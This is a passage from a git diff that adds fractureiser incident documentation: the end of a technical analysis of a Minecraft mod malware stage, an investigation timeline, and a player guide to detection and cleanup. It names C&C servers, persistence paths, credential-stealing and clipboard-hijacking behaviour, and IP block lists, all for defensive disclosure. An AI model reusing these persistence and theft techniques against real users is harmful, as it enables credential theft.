Slimjet + - CentBrowser + - Comodo + - Iridium + - UCBrowser + - Opera + - Beta + - Developer + - Stable + - GX + - Crypto + - CryptoTab + +## Stage 3b (`dummyloader3.jar`) + +Stage 3 was replaced with another jar some time after the second C&C server was stood up. + +It appears to be just the SkyRage updater, which is another minecraft malware targetting blackspigot. + +### Persistence +- Windows: task scheduler `MicrosoftEdgeUpdateTaskMachineVM`, file `%AppData%\..\LocalLow\Microsoft\Internet Explorer\DOMStore\microsoft-vm-core` +- Linux: `/bin/vmd-gnu`, `/etc/systemd/system/vmd-gnu.service`, service `vmd-gnu` + +### Connections +- C&C server: `connect.skyrage.de` +- Downloading: `hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/qqqqqqqqq` + +### Actions +- `qqqqqqqqq` jar extracts all kinds of information (browser cookies, discord, minecraft, epic games, steam login, also some stuff about crypto wallets and password pamangers), which update jar uploads to C&C server +- replaces crypto coin addresses in clipboard with address recieved from `95.214.27.172:18734` +- persistence (see above) +- contains auto-updater, current version is 932 (`hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/version`) + +### Mappings + +These are the mappings for this sample, which can be applied via Enigma or another tool supporting Engima mappings. +``` +CLASS D Chat +CLASS E ChatChain +CLASS E$a ChatChain$ChainLink +CLASS F ClientChat +CLASS G EncryptionRequest +CLASS H EncryptionResponse +CLASS H$a EncryptionResponse$EncryptionData +CLASS J KeepAlive +CLASS L LoginPayloadResponse +CLASS O PluginMessage +CLASS O$1 BungeeCordProtocolVersionMapFunction +CLASS P SetCompression +CLASS R StatusResponse +CLASS T CryptocurrencyClipboardLogger +CLASS T$1 CryptocurrencyClipboardLogger$LowLevelKeyboardHook +CLASS U AutoRunPersistence +CLASS V InputStreamFileWriter +CLASS W OperatingSystem +CLASS X AutoUpdater +CLASS Y StacktraceSerializer +CLASS a MalwareClientConnectionHandler +CLASS b Main + FIELD a intconst I + FIELD a string0 Ljava/lang/String; + FIELD a ipAddress Ljava/net/InetSocketAddress; +CLASS g MinecraftBot +CLASS h MinecraftBot2 +CLASS o MinecraftFriendlyByteBuf +CLASS s MinecraftIPAddressResolver +CLASS t MinecraftPacketDecoder +CLASS y MinecraftPacketEncryption +``` + +### Anti-decompilation + +This sample appears to abuse technicalities in the class-file to crash decompiler tools. Such exploits can be fixed using [CAFED00D](https://github.com/Col-E/CAFED00D), a bytecode parser that filters out malformed attributes. After this, the only remaining hassle is basic obfuscation applied by Allatori demo. + +# Other Stuff + +More details are available in the live stage-3 reversal doc: https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ + +When the second C&C server was stood up, a deobfuscated version of stage 3 was +accidentally served for around 40 minutes. + +The main payload server ~~is~~ *was* (got taken down) hosted on Serverion, a company based in the Netherlands. + +The new C&C has been taken down as well. _2023-06-07 18:51 UTC_ + +Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on `85.217.144.130` and `107.189.3.101`: + +* 1337 +* 1338 (a port referenced in Stage 1's file for creating new Debugger connection) +* 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code) +* 8082 (nobody's gotten anything out of this one, not referenced in any malicious code) +* 8083 (contacted by Stage 1) + +Curiously, fractureiser's bukkit page says "Last active Sat, Jan, 1 2000 00:00:00" https://dev.bukkit.org/members/fractureiser/projects/ + +## Samples + +Please ask in the IRC chat for read or read/write access to samples. Source code of the decompiled Stage 3 client is available: https://github.com/clrxbl/NekoClient + +## Follow-Ups +While it's a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve. + +#### 1. Review at mod repositories is inadequate + +What exactly does CurseForge and Modrinth do when "reviewing" a mod? We should know as a community, instead of relying on security through obscurity. +Should be we be running some sort of static analysis? (williewillus has a few ideas here) + +#### 2. A lack of code signing for mods + +Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates CurseForge accounts getting compromised. + +However, this then leads to the greater issue of how to derive key trust, as the fact that "this jar has this signature" has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. +Forge tried to introduce signing many years ago and it had limited uptake. + +#### 3. A lack of reproducible builds + +Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable. + +A random Gradle plugin being a future attack vector is not out of the question. + +#### 4. Lack of sandboxing of Minecraft itself + +Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. +Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so. + +Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them. diff --git a/lang/cs/docs/timeline.md b/lang/cs/docs/timeline.md new file mode 100644 index 00000000..6a7b0fe3 --- /dev/null +++ b/lang/cs/docs/timeline.md @@ -0,0 +1,204 @@ +### Timeline + +The timeline is from bottom-to-top. Topmost events are the most recent. + +--- +*2023-06-08 10:50 UTC* + +The current C&C servers of stage3b (skyrage) `95[.].214.27.172` and `171[.]22.30.117` are no longer reachable. Watching out for potential DNS changes. + +Time is when it was noticed, not when it happened. + +--- +*2023-06-08 05:11 UTC* + +Prospector announces the following: + +> An update from Modrinth, all files uploaded in the last 10 months +> (about half of our files) have been scanned and not one infected +> file has been found. + +--- +*2023-06-08 01:12 UTC* + +Things have mostly settled down again, virus scanners have begun detecting the stage 1+ +jars as malicious, and a meeting for next steps is planned for the next morning in the US. + +The meeting will be semi-private, but recordings/minutes will be shared afterwards. + +CurseForge is scanning all mods, but that process is still ongoing. + +--- +*2023-06-07 18:51 UTC* + +The second C&C server 107[.]189.3.101 has been suspended by its hosting provider + +--- +*2023-06-07 16:00 UTC* + +Due to lag in the HackMD, this document was transferred to the GitHub repository +https://github.com/fractureiser-investigation/fractureiser + +--- +*2023-06-07 14:40 UTC* + +The unobfuscated stage 3 was replaced by an obfuscated one, then further by another +payload. + +That payload is the skyrage updater, which is a known Minecraft malware targeting spigot +servers. + +After serving skyrage for a while, it switched again to serving the Meteor hacked client. + +(TODO this timeframe is not completely accurate) + +--- +*2023-06-07 14:20 UTC* + +Analysis of the new IP address yields a fully deobfuscated stage 3, seemingly uploaded by accident. +It has been archived here: https://github.com/clrxbl/NekoClient + +--- +*2023-06-07 14:19 UTC* + +The Cloudflare pages domain has been taken down. + +--- +*2023-06-07 14:05 UTC* + +The Cloudflare pages domain has switched to pointing to a new IP address, 107.189.3.101. + +--- + + +*2023-06-07 08:52 UTC* + +The dust has mostly settled for now. We have a good idea of the early stages of the malware, and stage 3 is being reverse-engineered. The first stage is temporarily dormant. + +We will resume updates next morning US time (or thereabouts). + +---- +*2023-06-07 08:09 UTC* + +We are still working on reversing stage 3, see the section below for technical details. + +---- +*2023-06-07 07:37 UTC* + +CurseForge published the following statement in their discord's #news channel: + +> Hey everyone, +> +> We would like to address the current situation that is ongoing and highlight some important points: +> +> * A malicious user has created several accounts and uploaded projects containing malware to the platform +> * Separately a user belonging to Luna Pixel Studios (LPS) was hacked and was used to upload similar malware +> * We have banned all accounts relevant to this and disabled the LPS one as well. We are in direct contact with the LPS team to help them restore their access +> * We are in the process of going through ALL new projects and files to guarantee your safety. We are of course holding the approval process of all new files until this is resolved +> * Deleting your CF client isn’t a recommended solution as it will not solve the issue and will prevent us from deploying a fix. We are working on a tool to help you make sure you weren’t exposed to any of this. In the meantime refer to information published in #current-issues. +> * This is relevant ONLY to Minecraft users +> * To be clear **CurseForge is not compromised! No admin account was hacked.** +> +> We are working on this to make sure the platform remains a safe place to download and share mods. Thank you to all authors and users who help us with highlighting, we appreciate your cooperation and patience ❤️ +> +> Stay tuned for more updates and we will clear this issue. + +---- +*2023-06-07 07:24 UTC* + +Darkhax has contacted Curseforge representatives who have confirmed that the affected files were uploaded via the UI, not the API. + +Curseforge has halted upload approvals while this situation unfolds and have taken down many infected files. + +They are also investigating the IPs of the uploaders of the malicious files, to see if they match previous requests by the rightful account holders. + +---- +*2023-06-07 7:03 UTC* + +We believe we've discovered the true function of Stage3 (`client.jar`) and are attempting to document it here. It's not good, folks. + +The quick version, while we get this document in shape: client.jar searches *the entire filesystem* for files that look like mod jars, and infects them with Stage0. This includes *entire Gradle and Maven caches*, as well as tons of things mod devs would likely never think to check. The potential scale and scope of this infection has gone from "a couple weird mods" to *potentially infinite*. + +We believe this is how the infection initially spread, and Curseforge may not have been the initial attack vector. + +---- + +*2023-06-07 6:27 UTC* + +Investigation has slowed down and most of the team is going to bed. unascribed has opened an email inbox for people to submit samples or other useful information. williewillus is currently working to clean up and get the information presented by D3SL into this doc. + +---- + +*2023-06-07 6:20 UTC* + +D3SL informs the unofficial Discord that they have a copy of the full (untruncated) Stage 3 `client.jar`, as well as an in-depth analysis of what the malware is doing. They first noticed this weeks ago and undertook in-depth analysis, and as a result was able to obtain full copies of all the payloads. + +---- + +*2023-06-07 5:27 UTC* + +We've discovered a potential (truncated) Stage 3 file; it is heavily obfuscated and contains a native payload DLL that attempts to steal credentials from the Windows credentials store. + +---- + +*2023-06-07 4:57 UTC* + +Files uploaded in April have been discovered; either the dates are being spoofed, or this has been going on even longer. Many of the accounts have Last Active times in 1999 — likely a quirk with old CurseForge accounts, but still notable. + +Modrinth staff are investigating if any uploads on there are compromised. A quick pass they did through recently updated projects looked OK. + +---- + +*2023-06-07 4:40 UTC* + +The scope of this compromise seems larger than initially realized. The malicious files go back multiple weeks, as early as May 20th. We only noticed today because they compromised a popular modpack. + +--- + +*2023-06-07 3:38 UTC* + + +The C&C server has been taken down by the server provider. A new one will likely come up if the Cloudflare page stays up, we're monitoring it. + +---- + +*2023-06-07 3:26 UTC* + +We were sent a possible Stage 2 jar by an anonymous user that claims to work at a server host. + +---- + +*2023-06-07 2:26 UTC* + +The #cfmalware EsperNet channel is created to coordinate discussion that had been happening in multiple Discord guilds and Matrix spaces. + +---- + +*2023-06-07 0:40 UTC* + +The team behind this document learns of the malicious files included in an unauthorized update to Better Minecraft. + +---- + +*2023-06-01 to 2023-06-04* + +D3SL becomes suspicious of the malicious files' consumption of CPU and RAM and begins +investigating. Order of operations: + +1. Suspicion about the Java executable's firewall request leads to it being blocked. +2. Inability to reach self-hosted services leads to event viewer showing all tcpip ports + blocked +3. Netstat shows massive port consumption via the hostile jar file's PID +4. Identifying the malicious javaw.exe running libwebgl64.jar confirmed malware + +From here Tzalumen was instrumental in assisting with the initial reverse engineering of +the byte[] obfuscated code and manually capturing a complete set of files from the remote +destinations. + +Full copies of all original files (incl. deobfuscations) except lib.dll, translations of +all remote destinations contacted, and a writeup of the infection process and several +hostile capabilities were provided through channels to Windows Defender and +Malwarebytes. Curseforge was notified as well. Knowledge of the malware wasn't shared +publicly at this time in order to avoid tipping off the attackers + +---- diff --git a/lang/cs/docs/users.md b/lang/cs/docs/users.md new file mode 100644 index 00000000..2a920bc9 --- /dev/null +++ b/lang/cs/docs/users.md @@ -0,0 +1,405 @@ +# Modded Players Guide + +If you **only** play vanilla through a trusted launcher such as the official launcher or +Prism, and have never touched mods ever: you are 100% safe. Stay away from mods for the +time being. + +If you're a Modded Minecraft player, you need to verify if you have been infected by the +fractureiser malware to ensure your machine and personal data are not at risk. You can do +so with the instructions below. + +### Is it still going on?? +Yes. Check back later. + +### Page Structure +* [What Actually Happened?](#what-actually-happened) +* [Am I Infected?](#am-i-infected) +* [I'm Infected, Now What?](#im-infected-now-what) +* [I'm Not Infected, Now What?](#im-not-infected-now-what) +* [Frequently Asked Questions](#frequently-asked-questions) +* [Technical FAQ](#technical-faq) + +If you have any questions about fractureiser, please read this page in full, including the FAQ at +the end, as most of the questions we've been getting are answered here. + +## What Actually Happened? + +Several innocent looking malicious mods and plugins were initially uploaded by the malware's creator +to the mod hosting website CurseForge and plugin hub dev.craftbukkit.org (not the Bukkit +software itself). A high-profile mod pack developer downloaded one of these mods to try +out, which infected files in their computer without their knowledge - this included a copy of a +working project that would then be uploaded to CurseForge as a seemingly leigimate file, with the +virus included. + +This process then repeated itself for a few other cases from users on CurseForge and +dev.craftbukkit.org, infecting copies of several popular plugins and mods. *There are reports of +malicious plugin and mod jars as early +as mid-April.* + +Alongside this, brute force access attempts on high traffic content creator accounts on CurseForge +were attempted by the malware author. We are currently unsure whether the breach was due to the +brute force attempt or due to trojan infection on the accounts' owners. + +This malware is composed of multiple "stages", each Stage is responsible for downloading and +running the next one. In total, there are three known Stages (Stages 1, 2, and 3), with infected +mod files serving as a "Stage 0" to kick the whole process off. + +Stage 3 is the "mastermind" of the malware, and we have evidence that it attempts to do all of +the following: + +* Propagate itself to *all* `jar` files on the filesystem, possibly infecting mods that + were not downloaded from CurseForge or BukkitDev, or other Java programs +* Steal cookies and login information for many web browsers +* Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by +the attacker +* Steal Discord credentials +* Steal Microsoft and Minecraft credentials + +(See [technical details](tech.md) for more info) + +Because of its behavior, we are **very confident** this is a **targeted attack against the modded +Minecraft ecosystem**. It's quite bad. + +**Until further notice, exercise extreme caution with Minecraft mod downloads, regardless +of origin.** While the control server for this malware is currently offline, **any +download from Curseforge or the Bukkit plugin repository in the last 2-3 weeks should be +treated as potentially malicious**. Some malware scanners have started adding signatures +to their databases, but until this rolls out to all of them, please exercise caution. + +*At this point we cannot be confident claiming any hosting service is unaffected*. Please +exercise caution regardless of what site you use. Even Maven repositories may be infected, +and this malware goes back months. + +Currently, new infections are impossible as the attacker's server has been shut down, +existing infections may still be active. + + + +### Wait, what the f*** is a "stage"? + +![Stage Diagram](media/stages.png) + +## Am I Infected? + +The malware has multiple stages, so asking whether you are infected is actually two questions + +### Do any of my mod files have Stage 0? +A variety of scanners exist that take a mod file and detect whether it is infected by Stage 0 of +the malware. + +* Overwolf's [scanner](https://github.com/overwolf/jar-infection-scanner/releases) + * This is the recommended option for checking your entire game - just point it at the CurseForge +installation folder or wherever else you have your instances saved + * This is a standalone program and does not require the Overwolf app installed +* douira's [website-based online scanner](https://douira.github.io/fractureiser-web-detector/) +* cortex's [nekodetector](https://github.com/MCRcortex/nekodetector/releases) + * Click on "Assets" to show the runnable file - requires Java to be installed + +In isolation, stage 0 infection is not dangerous if the files are deleted and never ran. + +### Are Stage 2 files present on my system? + +Stage 2 files being on your system means that the stages 0 and 1 of the malware ran successfully. +If they are present at all, you are likely *fully infected* and should continue reading the +instructions in the document. + +Many virus scanners are starting to detect stage 2 files. If you get a warning that such +files were found and removed, proceed to the "I'm Infected, Now What?" section. + +Otherwise, you can check manually by doing the following, based on your platform: + +#### Windows Instructions + +* Open your Start menu with the Windows Key, and type `%localappdata%` - it should appear as such: +![Search results for the above query](media/localappdata.png) + +* Inside the Local appdata folder, you must ensure that your Explorer is set to view both +`Hidden Items`, and `Protected Operating System Files`. + * This can be done from View > Options + * If you are unsure how to do this, a video explanation +[can be found here](https://youtu.be/KLTlTlnXeKs). + * Windows 11 users can find the same options under the "View" button at the top ribbon, as + well as the "..." button on the rightmost side of it + +* Locate a folder named `Microsoft Edge`. The SPACE between "Microsoft" and "Edge" is + important - as `MicrosoftEdge` is a legitimate folder that is used by Edge. The virus + simply named it like that to disguise itself. + * The legitimate folder might also be called `Microsoft\Edge` (an `Edge` folder inside a +`Microsoft` folder). + * The legitimate folder doesn't *have* to exist - if you don't have any Edge related folders, + you're safe. + * Both legitimate folders can exist at the same time, this is okay too. +* If `Microsoft Edge` is present, you were infected. If this is the case, permanently delete the +folder and everything inside it. + * If the folder can not be deleted, you must stop any Java programs currently running via your +Task Manager. + +#### MacOS Information + +The malware does not seem to affect MacOS, so you should be fine. +*Check back here every now and then just in case.* + +#### Linux Instructions + +Firstly, ensure whichever method you are using to list files has the ability to view hidden files. +Most GUI file managers have the shortcut Ctrl+H to toggle hidden files. If doing this on a terminal, +use `ls -A` in the respective directories, or `ls -lha` for a more detailed listing. + +If any of the following files exist, you were infected. If this is the case, delete all of them: +* `~/.config/systemd/user/systemd-utility.service` +* `/etc/systemd/system/systemd-utility.service` +* `~/.config/.data/lib.jar` + +Upon doing so, if applicable, check your `journalctl` for any changes you may not recognize. You +can do this with the commands `journalctl -exb` (for system logs) and `journalctl -exb --user` +(for user logs). Run the following commands to refresh your systemd services: +```sh +sudo systemctl daemon-reload # Enter your user password +systemctl --user daemon-reload +``` + +#### Scripts + +*If you don't know how to run a PowerShell or Bash script, these are not for you.* +Automated PowerShell or Bash scripts are also available [on the PrismLauncher +website](https://prismlauncher.org/news/cf-compromised-alert/#automated-script) to check +for Stage 2 for you, if you have the technical knowhow to run them. Overwolf (Curseforge's +parent company) has also released a C# Stage 2 detection tool: +https://github.com/overwolf/detection-tool + +## I'm Infected, Now What? + +**IMPORTANT**: We do not currently know the full extent of everything this can do, nor what its +intent is, so extreme caution should be exercised until a complete way to remove any symptoms is +found. Everything stated here is only *what we know* - please keep an eye on communication from the +team on updates if anything critical is found. + +If you find stage 2 files from fractureiser on your system, it's very likely that the stage 3 code +has ran and infected your machine. +Your best option now is to assume everything on that system is *entirely compromised*. You should: + +* Back up anything you do not want to lose on an a flash drive or external disk (you should be +doing this regularly anyway!) +* Using a separate device, change the passwords to all services you were logged into on + the old machine (Discord, email, etc.). Preferably using a password manager like + [BitWarden](https://bitwarden.com). +* If you were not yet using Two-Factor Authentication (Authenticator app or SMS) for every service +that supports it, please start doing so immediately +* If you are able to, contact a professional service in your area to run a proper + diagnostic on your machine for anything suspicious, or as a safe default simply wipe and + reinstall the system. +* Read the below section on what to do if you're not infected, as the steps there apply to you too. + +## I'm Not Infected, Now What? + +If you have played mods in the last few months, the absolute safest thing you can do at the moment +is to **not launch Minecraft at all**. Yes, even Vanilla. + +With that said - if nothing was found in the first place, chances are there's nothing going on. +If you still want to play the game: +* With the current knowledge we have, this is not risky, but we do not guarantee this is +accurate - you are *willingly putting yourself at risk*. +* After each session, check for the stage 2 infection files in the previous step to ensure nothing +has happened since +* Do not, under **any circumstances**, download or update any mods, modpacks, or plugins you +may use, or even run any you downloaded and never ran before - stick to instances you have +already used, and those **ONLY**. + +## Frequently Asked Questions + +### Is CurseForge hacked? +CurseForge itself is not compromised, only individual users. This is not a CurseForge problem, they +just happened to the be place this happened in. CurseForge have also [posted an article](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) describing the situation from their end and +are working on deploying countermeasures. + +### Is Modrinth okay? +Modrinth has ran a full scan of the last 10 months of uploads and no infected projects were found. +We still recommend exercising extreme caution when downloading anything mod related at the moment. +The fact no mods were infected there was entirely luck. + +### Is Modrinth safer? +This isn't a website-level issue, Modrinth is just as safe as CurseForge is. + +### How did CurseForge let this slip through? +The code the stage 0 infection ran wasn't necessarily suspicious to an automated system, and could +very well have been something another mod would've used. In fact, early heuristics for determining +stage 0 infection had significant amounts of false flags on popular mods such as Quark. + +Realistically, this type of prevention on a platform scale is non-feasible due to the infinite +different ways you can lay out code to hide your intent. + +### Which Antiviruses catch this? +New ones are being added as we speak, it's best to do the manual verification above instead of +relying on AV for now. + +### Is Multiplayer safe? +Yes, you can not be infected via a multiplayer server if you don't download mods for it elsewhere. + +### Is Bedrock safe? +Yes, this affects only Java. + +### Are alternative game clients such as Lunar or Badlion safe? +See the below point. + +### Is Optifine safe? / Is Sodium safe? / Is Iris safe? / Is Create safe? / Is Essential safe? / Is (insert mod) safe? + +**We can not currently fully confirm the safety of any given mod.** + +One of the functions of stage3 of the virus is infecting as many .jars as it can find on your +computer. It can infect **all `.jar`s**, including Minecraft itself (vanilla/modded), Minecraft +mods, Spigot plugins, and unrelated Java applications. So if your computer has the stage3 portion +of the virus, it doesn't matter whether a mod you download is "safe" - it will *become* infected. +Detect and remove the later stages of fractureiser *first*. + +At the moment, all *known* infected mods have been removed from CurseForge. CurseForge [posted a +list of known infected mods](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) (bottom +of the page) and has removed them from the website. Modrinth has scanned back 10 months and has not found any infected mods. + +This does *not guarantee no sneaky ones slipped through*. To check whether a given jar contains +stage0 of fractureiser, check the [Am I Infected?](#am-i-infected) section and overall exercise +extreme caution downloading anything mod related for now. + +### How widespread was the infection? + +CurseForge is reporting infected files were downloaded roughly 6,000 times for the entire +infection period. Quote from CF's Discord announcement: +> Just to give perspective, this accounts to about 0.015% of CurseForge’s daily downloads +> for Minecraft. + +### Did someone want to spoil the 1.20 release event? + +It appears to be a coincidence - this malware campaign was active for quite a while before being +widely uncovered the morning-of the 1.20 release. + +## Technical FAQ + +### Can fractureiser escape VMs (Virtual Machines)? + +**No.** + +stage3 *does* contain code for *attempting* a *manual* escape from the +["Windows Sandbox"](https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview). +It does not happen automatically. If the virus is ran from the Windows Sandbox, it will try to +mess with the clipboard to trick you into pasting a shortcut to the malware. + +Note that this sort of "clipboard escape" is nothing new and it is very easy to defeat by simply +not sharing the clipboard between the host and guest OS. Use a more heavyweight virtual-machine +than the "Windows Sandbox", and disable features like VirtualBox's "Guest Addons" or Hyper-V's +"integration services". + +(*Real* virtual-machine escape exploits are worth millions of dollars and would not be burned on +some Minecraft kids, and we have reason to believe the author of this malware is not a very good +programmer in the first place.) + +### Does this spread over the network? + +As far as we know, fractureiser does not contain network spread functionality, but it is not fully +out of the question. +A security researcher we are working with got an alert, but it ended up being about completely +unrelated malware that happened to use a similar filename. This was just a false alarm. + +### What are CurseForge and Modrinth doing about it? + +CurseForge has developed an open-source [stage2/3 detection tool](https://github.com/overwolf/detection-tool) +and [stage0 detection tool](https://github.com/overwolf/jar-infection-scanner), have scanned *all* +uploaded mods/plugins for stage0 infections, and have deleted all *known* infection cases. + +Modrinth has also scanned uploaded mods/plugins for stage0 infections going back 10 months and did +not find any. + +Both platforms are considering introducing some sort of automated "virus scan" process to the mod +submission pipeline. It's hard, since Java malware like this is typically bespoke. + +### What IP addresses and URLs should I block in my firewall/routing table? + +fractureiser-related code has been observed to connect to these URLs and addresses over a wide +variety of port numbers. + +* The hardcoded address in stage0-infected mods, and the first observed command&control +server: `85.217.144.130` +* The second observed command&control server: `107.189.3.101` +* The fallback URL that stage1 tries to use, and the stage2 command&control hostname: +`files-8ie.pages.dev` + +There's also evidence of it trying to connect to the hostname `v2202209151437200088` +over port 25575 - unknown reasons; probably from an older version of the malware. + +Here are some additional addresses to firewall related to skyrage stuff (again, *very* unlikely +skyrage was downloaded to anyone's PC through this vector, but nothing good comes from these +addresses anyway): + +* `95.214.27.172` +* `connect.skyrage.de` +* `t23e7v6uz8idz87ehugwq.skyrage.de` +* `qw3e1ee12e9hzheu9h1912hew1sh12uw9.skyrage.de` +* *Probably just block all of `skyrage.de` honestly* + +Should go without saying that you should not visit these. + +### Can we make it against CurseForge/Modrinth rules for your mod to download other files? + +It's already against CurseForge rules to upload malware. There are also many legitimate use cases +for a mod to download files that this would also stifle. + +### Would it be possible to include some sort of "antivirus" or "sandbox" in the modloader itself? + +"Antivirus": Probably not, for the same reasons that regular antiviruses didn't detect it. +Antiviruses can only detect known malware, not unknown malware. + +Sandboxing: Including some sort of "does this class contain 'safe' code?" check before loading a +class is a great way to spur on a cat-and-mouse game between malware developers and modloader +developers. + +It's really hard to ban Java code from using a specific class (say, `URLClassLoader`) because you +can also refer to it with `Class.forName` (which has a ton of legitimate use-cases), and if you +ban or deny-list classes from *that*, you can typically find something *else* on the classpath +willing to call `Class.forName` for you, and trying to get rid of these gadgets is an endless +game of whack-a-mole. + +Sandboxing Java is pretty much impossible - see articles like +["Twenty Years of Escaping the Java Sandbox"](https://www.exploit-db.com/papers/45517). + +Java mods are simply bundles of arbitrary code: treat them like an `.exe`, they can do anything. + +### Why aren't mods cryptographically signed to prevent malware from tampering with them? + +Part of the problem is that signatures alone do not prevent malware - a cryptographically-signed +virus is still a virus - and if self-signing was permitted, it doesn't prevent tampering either - +it's possible for a virus to simply strip digital signatures off a jar ("delete META-INF") and +re-sign it with its own key. (This isn't a hypothetical, either: fractureiser does contain code to +remove digital signatures from the jars it infects.) + +Signed mods with online signature verification *does* seem like a somewhat promising way forward, +though it's not without tradeoffs. There will be [a meeting](2023-06-08-meeting.md) with +many different reps from the modding ecosystem to discuss how to move forward. + +### Would it be possible to forbid mods from downloading executable code? + +It's not possible. You can't know whether a file contains executable code before you download it, +and after a file is downloaded, you can't control what is done with it. + +* What if my mod downloads a single Java class file? +* What about a Java class file but spelled backwards, so it doesn't look like a class file at first? +* What about a Java class file but encrypted? +* What about Java *source* code that is compiled on your computer? +* What about a Python script? +* What about a file containing English prose where it just so *happens* that sentences with an +even number of words correspond to a 0, and sentences with an odd number of words correspond to +a 1? - even though it's a prose document I can technically reassemble it into +an `.exe`, if I so choose. + +### Is this related to that Spigot plugin malware going around? + +Possibly! There's some ties to the existing malware `skyrage` - the malware author uploaded a +skyrage-relevant `.jar` to their backup command&control server, in a fruitless attempt to +extend the attack, shortly before CloudFlare took it down anyway. + +**We have not received any reports of anyone becoming infected by Skyrage through this vector.** +The author updated their CloudFlare URL to point to Skyrage a significant length of time *after* +the hardcoded IP address in stage0-infected mods was already taken down. It's mostly a funny +curiosity that the attacker tried to serve this jar at all. + +skyrage is an existing, well-studied piece of malware and you can find some more info about +it [here](https://ljskatt.no/analysis/updater_class/). \ No newline at end of file